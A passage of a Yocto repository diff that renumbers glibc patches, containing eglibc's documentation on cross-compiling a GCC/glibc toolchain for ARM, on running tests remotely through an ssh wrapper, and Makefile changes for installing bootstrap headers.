-+ with any arguments.
-+
-+- cross-localedef
-+
-+ This should be the name of a cross-capable localedef program, like
-+ that included in the GLIBC 'localedef' module, along with any
-+ arguments needed.
-+
-+These are each explained in detail below.
-+
-+
-+The Cross-Testing Wrapper
-+
-+To run test programs reliably, the stock GNU C library takes care to
-+ensure that test programs use the newly compiled dynamic linker and
-+shared libraries, and never the host system's installed libraries. To
-+accomplish this, it runs the tests by explicitly invoking the dynamic
-+linker from the build tree, passing it a list of build tree
-+directories to search for shared libraries, followed by the name of
-+the executable to run and its arguments.
-+
-+For example, where one might normally run a test program like this:
-+
-+ $ ./tst-foo arg1 arg2
-+
-+the GNU C library might run that program like this:
-+
-+ $ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+(where $objdir is the path to the top of the build tree, and the
-+trailing backslash indicates a continuation of the command). In other
-+words, each test program invocation is 'wrapped up' inside an explicit
-+invocation of the dynamic linker, which must itself execute the test
-+program, having loaded shared libraries from the appropriate
-+directories.
-+
-+To support cross-testing, GLIBC allows the developer to optionally
-+set the 'cross-test-wrapper' Make variable to another wrapper command,
-+to which it passes the entire dynamic linker invocation shown above as
-+arguments. For example, if the developer supplies a wrapper of
-+'my-wrapper hostname', then GLIBC would run the test above as
-+follows:
-+
-+ $ my-wrapper hostname \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+The 'my-wrapper' command is responsible for executing the command
-+given on the host system.
-+
-+Since tests are run in varying directories, the wrapper should either
-+be in your command search path, or 'cross-test-wrapper' should give an
-+absolute path for the wrapper.
-+
-+The wrapper must meet several requirements:
-+
-+- It must preserve the current directory. As explained above, the
-+ build directory tree must be visible on both the build and host
-+ systems, at the same path. The test wrapper must ensure that the
-+ current directory it inherits is also inherited by the dynamic
-+ linker (and thus the test program itself).
-+
-+- It must preserve environment variables' values. Many GLIBC tests
-+ set environment variables for test runs; in native testing, it
-+ invokes programs like this:
-+
-+ $ GCONV_PATH=$objdir/iconvdata \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+ With the cross-testing wrapper, that invocation becomes:
-+
-+ $ GCONV_PATH=$objdir/iconvdata \
-+ my-wrapper hostname \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+ Here, 'my-wrapper' must ensure that the value it sees for
-+ 'GCONV_PATH' will be seen by the dynamic linker, and thus 'tst-foo'
-+ itself. (The wrapper supplied with GLIBC simply preserves the
-+ values of *all* enviroment variables, with a fixed set of
-+ exceptions.)
-+
-+ If your wrapper is a shell script, take care to correctly propagate
-+ environment variables whose values contain spaces and shell
-+ metacharacters.
-+
-+- It must pass the command's arguments, unmodified. The arguments
-+ seen by the test program should be exactly those seen by the wrapper
-+ (after whatever arguments are given to the wrapper itself). The
-+ GLIBC test framework performs all needed shell word splitting and
-+ expansion (wildcard expansion, parameter substitution, and so on)
-+ before invoking the wrapper; further expansion may break the tests.
-+
-+
-+The 'cross-test-ssh.sh' script
-+
-+If you want to use 'ssh' (or something sufficiently similar) to run
-+test programs on your host system, GLIBC includes a shell script,
-+'scripts/cross-test-ssh.sh', which you can use as your wrapper
-+command. This script takes care of setting the test command's current
-+directory, propagating environment variable values, and carrying
-+command-line arguments, all across an 'ssh' connection. You may even
-+supply an alternative to 'ssh' on the command line, if needed.
-+
-+For more details, pass 'cross-test-ssh.sh' the '--help' option.
-+
-+
-+The Cross-Compiling Locale Definition Command
-+
-+Some GLIBC tests rely on locales generated especially for the test
-+process. In a native configuration, these tests simply run the
-+'localedef' command built by the normal GLIBC build process,
-+'locale/localedef', to process and install their locales. However, in
-+a cross-compiling configuration, this 'localedef' is built for the
-+host system, not the build system, and since it requires quite a bit
-+of memory to run (we have seen it fail on systems with 64MiB of
-+memory), it may not be practical to run it on the host system.
-+
-+If set, GLIBC uses the 'cross-localedef' Make variable as the command
-+to run on the build system to process and install locales. The
-+localedef program built from the GLIBC 'localedef' module is
-+suitable.
-+
-+The value of 'cross-localedef' may also include command-line arguments
-+to be passed to the program; if you are using GLIBC's 'localedef',
-+you may include endianness and 'uint32_t' alignment arguments here.
-+
-+
-+Example
-+
-+In developing GLIBC's cross-testing facility, we invoked 'make' with
-+the following script:
-+
-+ #!/bin/sh
-+
-+ srcdir=...
-+ test_hostname=...
-+ localedefdir=...
-+ cross_gxx=...-g++
-+
-+ wrapper="$srcdir/scripts/cross-test-ssh.sh $test_hostname"
-+ localedef="$localedefdir/localedef --little-endian --uint32-align=4"
-+
-+ make cross-test-wrapper="$wrapper" \
-+ cross-localedef="$localedef" \
-+ CXX="$cross_gxx" \
-+ "$@"
-+
-+
-+Other Cross-Testing Concerns
-+
-+Here are notes on some other issues which you may encounter in running
-+the GLIBC tests in a cross-compiling environment:
-+
-+- Some tests require a C++ cross-compiler; you should set the 'CXX'
-+ Make variable to the name of an appropriate cross-compiler.
-+
-+- Some tests require access to libstdc++.so.6 and libgcc_s.so.1; we
-+ simply place copies of these libraries in the top GLIBC build
-+ directory.
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0019-eglibc-Cross-building-and-testing-instructions.patch b/meta/recipes-core/glibc/glibc/0019-eglibc-Cross-building-and-testing-instructions.patch
new file mode 100644
index 0000000000..8fb9182d98
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0019-eglibc-Cross-building-and-testing-instructions.patch
@@ -0,0 +1,616 @@
+From db9674ffc6583a508da1a3cb044c3ccf3febaea1 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:42:58 +0000
+Subject: [PATCH] eglibc: Cross building and testing instructions
+
+Ported from eglibc
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ GLIBC.cross-building | 383 +++++++++++++++++++++++++++++++++++++++++++
+ GLIBC.cross-testing | 205 +++++++++++++++++++++++
+ 2 files changed, 588 insertions(+)
+ create mode 100644 GLIBC.cross-building
+ create mode 100644 GLIBC.cross-testing
+
+diff --git a/GLIBC.cross-building b/GLIBC.cross-building
+new file mode 100644
+index 0000000000..e6e0da1aaf
+--- /dev/null
++++ b/GLIBC.cross-building
+@@ -0,0 +1,383 @@
++ -*- mode: text -*-
++
++ Cross-Compiling GLIBC
++ Jim Blandy <jimb@codesourcery.com>
++
++
++Introduction
++
++Most GNU tools have a simple build procedure: you run their
++'configure' script, and then you run 'make'. Unfortunately, the
++process of cross-compiling the GNU C library is quite a bit more
++involved:
++
++1) Build a cross-compiler, with certain facilities disabled.
++
++2) Configure the C library using the compiler you built in step 1).
++ Build a few of the C run-time object files, but not the rest of the
++ library. Install the library's header files and the run-time
++ object files, and create a dummy libc.so.
++
++3) Build a second cross-compiler, using the header files and object
++ files you installed in step 2.
++
++4) Configure, build, and install a fresh C library, using the compiler
++ built in step 3.
++
++5) Build a third cross-compiler, based on the C library built in step 4.
++
++The reason for this complexity is that, although GCC and the GNU C
++library are distributed separately, they are not actually independent
++of each other: GCC requires the C library's headers and some object
++files to compile its own libraries, while the C library depends on
++GCC's libraries. GLIBC includes features and bug fixes to the stock
++GNU C library that simplify this process, but the fundamental
++interdependency stands.
++
++In this document, we explain how to cross-compile an GLIBC/GCC pair
++from source. Our intended audience is developers who are already
++familiar with the GNU toolchain and comfortable working with
++cross-development tools. While we do present a worked example to
++accompany the explanation, for clarity's sake we do not cover many of
++the options available to cross-toolchain users.
++
++
++Preparation
++
++GLIBC requires recent versions of the GNU binutils, GCC, and the
++Linux kernel. The web page <http://www.eglibc.org/prerequisites>
++documents the current requirements, and lists patches needed for
++certain target architectures. As of this writing, these build
++instructions have been tested with binutils 2.22.51, GCC 4.6.2,
++and Linux 3.1.
++
++First, let's set some variables, to simplify later commands. We'll
++build GLIBC and GCC for an ARM target, known to the Linux kernel
++as 'arm', and we'll do the build on an Intel x86_64 Linux box:
++
++ $ build=x86_64-pc-linux-gnu
++ $ host=$build
++ $ target=arm-none-linux-gnueabi
++ $ linux_arch=arm
++
++We're using the aforementioned versions of Binutils, GCC, and Linux:
++
++ $ binutilsv=binutils-2.22.51
++ $ gccv=gcc-4.6.2
++ $ linuxv=linux-3.1
++
++We're carrying out the entire process under '~/cross-build', which
++contains unpacked source trees for binutils, gcc, and linux kernel,
++along with GLIBC svn trunk (which can be checked-out with
++'svn co http://www.eglibc.org/svn/trunk eglibc'):
++
++ $ top=$HOME/cross-build/$target
++ $ src=$HOME/cross-build/src
++ $ ls $src
++ binutils-2.22.51 glibc gcc-4.6.2 linux-3.1
++
++We're going to place our build directories in a subdirectory 'obj',
++we'll install the cross-development toolchain in 'tools', and we'll
++place our sysroot (containing files to be installed on the target
++system) in 'sysroot':
++
++ $ obj=$top/obj
++ $ tools=$top/tools
++ $ sysroot=$top/sysroot
++
++
++Binutils
++
++Configuring and building binutils for the target is straightforward:
++
++ $ mkdir -p $obj/binutils
++ $ cd $obj/binutils
++ $ $src/$binutilsv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot
++ $ make
++ $ make install
++
++
++The First GCC
++
++For our work, we need a cross-compiler targeting an ARM Linux
++system. However, that configuration includes the shared library
++'libgcc_s.so', which is compiled against the GLIBC headers (which we
++haven't installed yet) and linked against 'libc.so' (which we haven't
++built yet).
++
++Fortunately, there are configuration options for GCC which tell it not
++to build 'libgcc_s.so'. The '--without-headers' option is supposed to
++take care of this, but its implementation is incomplete, so you must
++also configure with the '--with-newlib' option. While '--with-newlib'
++appears to mean "Use the Newlib C library", its effect is to tell the
++GCC build machinery, "Don't assume there is a C library available."
++
++We also need to disable some of the libraries that would normally be
++built along with GCC, and specify that only the compiler for the C
++language is needed.
++
++So, we create a build directory, configure, make, and install.
++
++ $ mkdir -p $obj/gcc1
++ $ cd $obj/gcc1
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --without-headers --with-newlib \
++ > --disable-shared --disable-threads --disable-libssp \
++ > --disable-libgomp --disable-libmudflap --disable-libquadmath \
++ > --disable-decimal-float --disable-libffi \
++ > --enable-languages=c
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++
++Linux Kernel Headers
++
++To configure GLIBC, we also need Linux kernel headers in place.
++Fortunately, the Linux makefiles have a target that installs them for
++us. Since the process does modify the source tree a bit, we make a
++copy first:
++
++ $ cp -r $src/$linuxv $obj/linux
++ $ cd $obj/linux
++
++Now we're ready to install the headers into the sysroot:
++
++ $ PATH=$tools/bin:$PATH \
++ > make headers_install \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++ > INSTALL_HDR_PATH=$sysroot/usr
++
++
++GLIBC Headers and Preliminary Objects
++
++Using the cross-compiler we've just built, we can now configure GLIBC
++well enough to install the headers and build the object files that the
++full cross-compiler will need:
++
++ $ mkdir -p $obj/glibc-headers
++ $ cd $obj/glibc-headers
++ $ BUILD_CC=gcc \
++ > CC=$tools/bin/$target-gcc \
++ > CXX=$tools/bin/$target-g++ \
++ > AR=$tools/bin/$target-ar \
++ > RANLIB=$tools/bin/$target-ranlib \
++ > $src/glibc/libc/configure \
++ > --prefix=/usr \
++ > --with-headers=$sysroot/usr/include \
++ > --build=$build \
++ > --host=$target \
++ > --disable-profile --without-gd --without-cvs \
++ > --enable-add-ons=nptl,libidn,../ports
++
++The option '--prefix=/usr' may look strange, but you should never
++configure GLIBC with a prefix other than '/usr': in various places,
++GLIBC's build system checks whether the prefix is '/usr', and does
++special handling only if that is the case. Unless you use this
++prefix, you will get a sysroot that does not use the standard Linux
++directory layouts and cannot be used as a basis for the root
++filesystem on your target system compatibly with normal GLIBC
++installations.
++
++The '--with-headers' option tells GLIBC where the Linux headers have
++been installed.
++
++The '--enable-add-ons=nptl,libidn,../ports' option tells GLIBC to look
++for the listed glibc add-ons. Most notably the ports add-on (located
++just above the libc sources in the GLIBC svn tree) is required to
++support ARM targets.
++
++We can now use the 'install-headers' makefile target to install the
++headers:
++
++ $ make install-headers install_root=$sysroot \
++ > install-bootstrap-headers=yes
++
++The 'install_root' variable indicates where the files should actually
++be installed; its value is treated as the parent of the '--prefix'
++directory we passed to the configure script, so the headers will go in
++'$sysroot/usr/include'. The 'install-bootstrap-headers' variable
++requests special handling for certain tricky header files.
++
++Next, there are a few object files needed to link shared libraries,
++which we build and install by hand:
++
++ $ mkdir -p $sysroot/usr/lib
++ $ make csu/subdir_lib
++ $ cp csu/crt1.o csu/crti.o csu/crtn.o $sysroot/usr/lib
++
++Finally, 'libgcc_s.so' requires a 'libc.so' to link against. However,
++since we will never actually execute its code, it doesn't matter what
++it contains. So, treating '/dev/null' as a C source file, we produce
++a dummy 'libc.so' in one step:
++
++ $ $tools/bin/$target-gcc -nostdlib -nostartfiles -shared -x c /dev/null \
++ > -o $sysroot/usr/lib/libc.so
++
++
++The Second GCC
++
++With the GLIBC headers and selected object files installed, we can
++now build a GCC that is capable of compiling GLIBC. We configure,
++build, and install the second GCC, again building only the C compiler,
++and avoiding libraries we won't use:
++
++ $ mkdir -p $obj/gcc2
++ $ cd $obj/gcc2
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot \
++ > --disable-libssp --disable-libgomp --disable-libmudflap \
++ > --disable-libffi --disable-libquadmath \
++ > --enable-languages=c
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++
++GLIBC, Complete
++
++With the second compiler built and installed, we're now ready for the
++full GLIBC build:
++
++ $ mkdir -p $obj/glibc
++ $ cd $obj/glibc
++ $ BUILD_CC=gcc \
++ > CC=$tools/bin/$target-gcc \
++ > CXX=$tools/bin/$target-g++ \
++ > AR=$tools/bin/$target-ar \
++ > RANLIB=$tools/bin/$target-ranlib \
++ > $src/glibc/libc/configure \
++ > --prefix=/usr \
++ > --with-headers=$sysroot/usr/include \
++ > --with-kconfig=$obj/linux/scripts/kconfig \
++ > --build=$build \
++ > --host=$target \
++ > --disable-profile --without-gd --without-cvs \
++ > --enable-add-ons=nptl,libidn,../ports
++
++Note the additional '--with-kconfig' option. This tells GLIBC where to
++find the host config tools used by the kernel 'make config' and 'make
++menuconfig'. These tools can be re-used by GLIBC for its own 'make
++*config' support, which will create 'option-groups.config' for you.
++But first make sure those tools have been built by running some
++dummy 'make *config' calls in the kernel directory:
++
++ $ cd $obj/linux
++ $ PATH=$tools/bin:$PATH make config \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++ $ PATH=$tools/bin:$PATH make menuconfig \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++
++Now we can configure and build the full GLIBC:
++
++ $ cd $obj/glibc
++ $ PATH=$tools/bin:$PATH make defconfig
++ $ PATH=$tools/bin:$PATH make menuconfig
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install install_root=$sysroot
++
++At this point, we have a complete GLIBC installation in '$sysroot',
++with header files, library files, and most of the C runtime startup
++files in place.
++
++
++The Third GCC
++
++Finally, we recompile GCC against this full installation, enabling
++whatever languages and libraries we would like to use:
++
++ $ mkdir -p $obj/gcc3
++ $ cd $obj/gcc3
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot \
++ > --enable-__cxa_atexit \
++ > --disable-libssp --disable-libgomp --disable-libmudflap \
++ > --enable-languages=c,c++
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++The '--enable-__cxa_atexit' option tells GCC what sort of C++
++destructor support to expect from the C library; it's required with
++GLIBC.
++
++And since GCC's installation process isn't designed to help construct
++sysroot trees, we must manually copy certain libraries into place in
++the sysroot.
++
++ $ cp -d $tools/$target/lib/libgcc_s.so* $sysroot/lib
++ $ cp -d $tools/$target/lib/libstdc++.so* $sysroot/usr/lib
++
++
++Trying Things Out
++
++At this point, '$tools' contains a cross toolchain ready to use
++the GLIBC installation in '$sysroot':
++
++ $ cat > hello.c <<EOF
++ > #include <stdio.h>
++ > int
++ > main (int argc, char **argv)
++ > {
++ > puts ("Hello, world!");
++ > return 0;
++ > }
++ > EOF
++ $ $tools/bin/$target-gcc -Wall hello.c -o hello
++ $ cat > c++-hello.cc <<EOF
++ > #include <iostream>
++ > int
++ > main (int argc, char **argv)
++ > {
++ > std::cout << "Hello, C++ world!" << std::endl;
++ > return 0;
++ > }
++ > EOF
++ $ $tools/bin/$target-g++ -Wall c++-hello.cc -o c++-hello
++
++
++We can use 'readelf' to verify that these are indeed executables for
++our target, using our dynamic linker:
++
++ $ $tools/bin/$target-readelf -hl hello
++ ELF Header:
++ ...
++ Type: EXEC (Executable file)
++ Machine: ARM
++
++ ...
++ Program Headers:
++ Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
++ PHDR 0x000034 0x10000034 0x10000034 0x00100 0x00100 R E 0x4
++ INTERP 0x000134 0x00008134 0x00008134 0x00013 0x00013 R 0x1
++ [Requesting program interpreter: /lib/ld-linux.so.3]
++ LOAD 0x000000 0x00008000 0x00008000 0x0042c 0x0042c R E 0x8000
++ ...
++
++Looking at the dynamic section of the installed 'libgcc_s.so', we see
++that the 'NEEDED' entry for the C library does include the '.6'
++suffix, indicating that was linked against our fully build GLIBC, and
++not our dummy 'libc.so':
++
++ $ $tools/bin/$target-readelf -d $sysroot/lib/libgcc_s.so.1
++ Dynamic section at offset 0x1083c contains 24 entries:
++ Tag Type Name/Value
++ 0x00000001 (NEEDED) Shared library: [libc.so.6]
++ 0x0000000e (SONAME) Library soname: [libgcc_s.so.1]
++ ...
++
++
++And on the target machine, we can run our programs:
++
++ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
++ > ./hello
++ Hello, world!
++ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
++ > ./c++-hello
++ Hello, C++ world!
+diff --git a/GLIBC.cross-testing b/GLIBC.cross-testing
+new file mode 100644
+index 0000000000..b67b468466
+--- /dev/null
++++ b/GLIBC.cross-testing
+@@ -0,0 +1,205 @@
++ -*- mode: text -*-
++
++ Cross-Testing With GLIBC
++ Jim Blandy <jimb@codesourcery.com>
++
++
++Introduction
++
++Developers writing software for embedded systems often use a desktop
++or other similarly capable computer for development, but need to run
++tests on the embedded system, or perhaps on a simulator. When
++configured for cross-compilation, the stock GNU C library simply
++disables running tests altogether: the command 'make tests' builds
++test programs, but does not run them. GLIBC, however, provides
++facilities for compiling tests and generating data files on the build
++system, but running the test programs themselves on a remote system or
++simulator.
++
++
++Test environment requirements
++
++The test environment must meet certain conditions for GLIBC's
++cross-testing facilities to work:
++
++- Shared filesystems. The 'build' system, on which you configure and
++ compile GLIBC, and the 'host' system, on which you intend to run
++ GLIBC, must share a filesystem containing the GLIBC build and
++ source trees. Files must appear at the same paths on both systems.
++
++- Remote-shell like invocation. There must be a way to run a program
++ on the host system from the build system, passing it properly quoted
++ command-line arguments, setting environment variables, and
++ inheriting the caller's standard input and output.
++
++
++Usage
++
++To use GLIBC's cross-testing support, provide values for the
++following Make variables when you invoke 'make':
++
++- cross-test-wrapper
++
++ This should be the name of the cross-testing wrapper command, along
++ with any arguments.
++
++- cross-localedef
++
++ This should be the name of a cross-capable localedef program, like
++ that included in the GLIBC 'localedef' module, along with any
++ arguments needed.
++
++These are each explained in detail below.
++
++
++The Cross-Testing Wrapper
++
++To run test programs reliably, the stock GNU C library takes care to
++ensure that test programs use the newly compiled dynamic linker and
++shared libraries, and never the host system's installed libraries. To
++accomplish this, it runs the tests by explicitly invoking the dynamic
++linker from the build tree, passing it a list of build tree
++directories to search for shared libraries, followed by the name of
++the executable to run and its arguments.
++
++For example, where one might normally run a test program like this:
++
++ $ ./tst-foo arg1 arg2
++
++the GNU C library might run that program like this:
++
++ $ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++(where $objdir is the path to the top of the build tree, and the
++trailing backslash indicates a continuation of the command). In other
++words, each test program invocation is 'wrapped up' inside an explicit
++invocation of the dynamic linker, which must itself execute the test
++program, having loaded shared libraries from the appropriate
++directories.
++
++To support cross-testing, GLIBC allows the developer to optionally
++set the 'cross-test-wrapper' Make variable to another wrapper command,
++to which it passes the entire dynamic linker invocation shown above as
++arguments. For example, if the developer supplies a wrapper of
++'my-wrapper hostname', then GLIBC would run the test above as
++follows:
++
++ $ my-wrapper hostname \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++The 'my-wrapper' command is responsible for executing the command
++given on the host system.
++
++Since tests are run in varying directories, the wrapper should either
++be in your command search path, or 'cross-test-wrapper' should give an
++absolute path for the wrapper.
++
++The wrapper must meet several requirements:
++
++- It must preserve the current directory. As explained above, the
++ build directory tree must be visible on both the build and host
++ systems, at the same path. The test wrapper must ensure that the
++ current directory it inherits is also inherited by the dynamic
++ linker (and thus the test program itself).
++
++- It must preserve environment variables' values. Many GLIBC tests
++ set environment variables for test runs; in native testing, it
++ invokes programs like this:
++
++ $ GCONV_PATH=$objdir/iconvdata \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++ With the cross-testing wrapper, that invocation becomes:
++
++ $ GCONV_PATH=$objdir/iconvdata \
++ my-wrapper hostname \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++ Here, 'my-wrapper' must ensure that the value it sees for
++ 'GCONV_PATH' will be seen by the dynamic linker, and thus 'tst-foo'
++ itself. (The wrapper supplied with GLIBC simply preserves the
++ values of *all* enviroment variables, with a fixed set of
++ exceptions.)
++
++ If your wrapper is a shell script, take care to correctly propagate
++ environment variables whose values contain spaces and shell
++ metacharacters.
++
++- It must pass the command's arguments, unmodified. The arguments
++ seen by the test program should be exactly those seen by the wrapper
++ (after whatever arguments are given to the wrapper itself). The
++ GLIBC test framework performs all needed shell word splitting and
++ expansion (wildcard expansion, parameter substitution, and so on)
++ before invoking the wrapper; further expansion may break the tests.
++
++
++The 'cross-test-ssh.sh' script
++
++If you want to use 'ssh' (or something sufficiently similar) to run
++test programs on your host system, GLIBC includes a shell script,
++'scripts/cross-test-ssh.sh', which you can use as your wrapper
++command. This script takes care of setting the test command's current
++directory, propagating environment variable values, and carrying
++command-line arguments, all across an 'ssh' connection. You may even
++supply an alternative to 'ssh' on the command line, if needed.
++
++For more details, pass 'cross-test-ssh.sh' the '--help' option.
++
++
++The Cross-Compiling Locale Definition Command
++
++Some GLIBC tests rely on locales generated especially for the test
++process. In a native configuration, these tests simply run the
++'localedef' command built by the normal GLIBC build process,
++'locale/localedef', to process and install their locales. However, in
++a cross-compiling configuration, this 'localedef' is built for the
++host system, not the build system, and since it requires quite a bit
++of memory to run (we have seen it fail on systems with 64MiB of
++memory), it may not be practical to run it on the host system.
++
++If set, GLIBC uses the 'cross-localedef' Make variable as the command
++to run on the build system to process and install locales. The
++localedef program built from the GLIBC 'localedef' module is
++suitable.
++
++The value of 'cross-localedef' may also include command-line arguments
++to be passed to the program; if you are using GLIBC's 'localedef',
++you may include endianness and 'uint32_t' alignment arguments here.
++
++
++Example
++
++In developing GLIBC's cross-testing facility, we invoked 'make' with
++the following script:
++
++ #!/bin/sh
++
++ srcdir=...
++ test_hostname=...
++ localedefdir=...
++ cross_gxx=...-g++
++
++ wrapper="$srcdir/scripts/cross-test-ssh.sh $test_hostname"
++ localedef="$localedefdir/localedef --little-endian --uint32-align=4"
++
++ make cross-test-wrapper="$wrapper" \
++ cross-localedef="$localedef" \
++ CXX="$cross_gxx" \
++ "$@"
++
++
++Other Cross-Testing Concerns
++
++Here are notes on some other issues which you may encounter in running
++the GLIBC tests in a cross-compiling environment:
++
++- Some tests require a C++ cross-compiler; you should set the 'CXX'
++ Make variable to the name of an appropriate cross-compiler.
++
++- Some tests require access to libstdc++.so.6 and libgcc_s.so.1; we
++ simply place copies of these libraries in the top GLIBC build
++ directory.
diff --git a/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch b/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch
deleted file mode 100644
index f633079f34..0000000000
--- a/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From 5591b7653411da26fa2939352e50ea4121b327e6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:49:28 +0000
-Subject: [PATCH 19/29] eglibc: Help bootstrap cross toolchain
-
-Taken from EGLIBC, r1484 + r1525
-
- 2007-02-20 Jim Blandy <jimb@codesourcery.com>
-
- * Makefile (install-headers): Preserve old behavior: depend on
- $(inst_includedir)/gnu/stubs.h only if install-bootstrap-headers
- is set; otherwise, place gnu/stubs.h on the 'install-others' list.
-
- 2007-02-16 Jim Blandy <jimb@codesourcery.com>
-
- * Makefile: Amend make install-headers to install everything
- necessary for building a cross-compiler. Install gnu/stubs.h as
- part of 'install-headers', not 'install-others'.
- If install-bootstrap-headers is 'yes', install a dummy copy of
- gnu/stubs.h, instead of computing the real thing.
- * include/stubs-bootstrap.h: New file.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile | 22 +++++++++++++++++++++-
- include/stubs-bootstrap.h | 12 ++++++++++++
- 2 files changed, 33 insertions(+), 1 deletion(-)
- create mode 100644 include/stubs-bootstrap.h
-
-diff --git a/Makefile b/Makefile
-index 6dcfe40c25..bc37c32e5a 100644
---- a/Makefile
-+++ b/Makefile
-@@ -79,9 +79,18 @@ subdir-dirs = include
- vpath %.h $(subdir-dirs)
-
- # What to install.
--install-others = $(inst_includedir)/gnu/stubs.h
- install-bin-script =
-
-+# If we're bootstrapping, install a dummy gnu/stubs.h along with the
-+# other headers, so 'make install-headers' produces a useable include
-+# tree. Otherwise, install gnu/stubs.h later, after the rest of the
-+# build is done.
-+ifeq ($(install-bootstrap-headers),yes)
-+install-headers: $(inst_includedir)/gnu/stubs.h
-+else
-+install-others = $(inst_includedir)/gnu/stubs.h
-+endif
-+
- ifeq (yes,$(build-shared))
- headers += gnu/lib-names.h
- endif
-@@ -407,6 +416,16 @@ others: $(common-objpfx)testrun.sh $(common-objpfx)debugglibc.sh
-
- subdir-stubs := $(foreach dir,$(subdirs),$(common-objpfx)$(dir)/stubs)
-
-+# gnu/stubs.h depends (via the subdir 'stubs' targets) on all the .o
-+# files in EGLIBC. For bootstrapping a GCC/EGLIBC pair, an empty
-+# gnu/stubs.h is good enough.
-+ifeq ($(install-bootstrap-headers),yes)
-+$(inst_includedir)/gnu/stubs.h: include/stubs-bootstrap.h $(+force)
-+ $(make-target-directory)
-+ $(INSTALL_DATA) $< $@
-+
-+installed-stubs =
-+else
- ifndef abi-variants
- installed-stubs = $(inst_includedir)/gnu/stubs.h
- else
-@@ -433,6 +452,7 @@ $(inst_includedir)/gnu/stubs.h: $(+force)
-
- install-others-nosubdir: $(installed-stubs)
- endif
-+endif
-
-
- # Since stubs.h is never needed when building the library, we simplify the
-diff --git a/include/stubs-bootstrap.h b/include/stubs-bootstrap.h
-new file mode 100644
-index 0000000000..1d2b669aff
---- /dev/null
-+++ b/include/stubs-bootstrap.h
-@@ -0,0 +1,12 @@
-+/* Placeholder stubs.h file for bootstrapping.
-+
-+ When bootstrapping a GCC/EGLIBC pair, GCC requires that the EGLIBC
-+ headers be installed, but we can't fully build EGLIBC without that
-+ GCC. So we run the command:
-+
-+ make install-headers install-bootstrap-headers=yes
-+
-+ to install the headers GCC needs, but avoid building certain
-+ difficult headers. The <gnu/stubs.h> header depends, via the
-+ EGLIBC subdir 'stubs' make targets, on every .o file in EGLIBC, but
-+ an empty stubs.h like this will do fine for GCC. */
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0020-eglibc-Help-bootstrap-cross-toolchain.patch b/meta/recipes-core/glibc/glibc/0020-eglibc-Help-bootstrap-cross-toolchain.patch
new file mode 100644
index 0000000000..9b76cfd3b8
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0020-eglibc-Help-bootstrap-cross-toolchain.patch
@@ -0,0 +1,97 @@
+From 7856684f76c100155cad11b5b236fb31234b6e28 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:49:28 +0000
+Subject: [PATCH] eglibc: Help bootstrap cross toolchain
+
+Taken from EGLIBC, r1484 + r1525
+
+ 2007-02-20 Jim Blandy <jimb@codesourcery.com>
+
+ * Makefile (install-headers): Preserve old behavior: depend on
+ $(inst_includedir)/gnu/stubs.h only if install-bootstrap-headers
+ is set; otherwise, place gnu/stubs.h on the 'install-others' list.
+
+ 2007-02-16 Jim Blandy <jimb@codesourcery.com>
+
+ * Makefile: Amend make install-headers to install everything
+ necessary for building a cross-compiler. Install gnu/stubs.h as
+ part of 'install-headers', not 'install-others'.
+ If install-bootstrap-headers is 'yes', install a dummy copy of
+ gnu/stubs.h, instead of computing the real thing.
+ * include/stubs-bootstrap.h: New file.
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile | 22 +++++++++++++++++++++-
+ include/stubs-bootstrap.h | 12 ++++++++++++
+ 2 files changed, 33 insertions(+), 1 deletion(-)
+ create mode 100644 include/stubs-bootstrap.h
+
+diff --git a/Makefile b/Makefile
+index f98d5a9e67..c36d04da0f 100644
+--- a/Makefile
++++ b/Makefile
+@@ -79,9 +79,18 @@ subdir-dirs = include
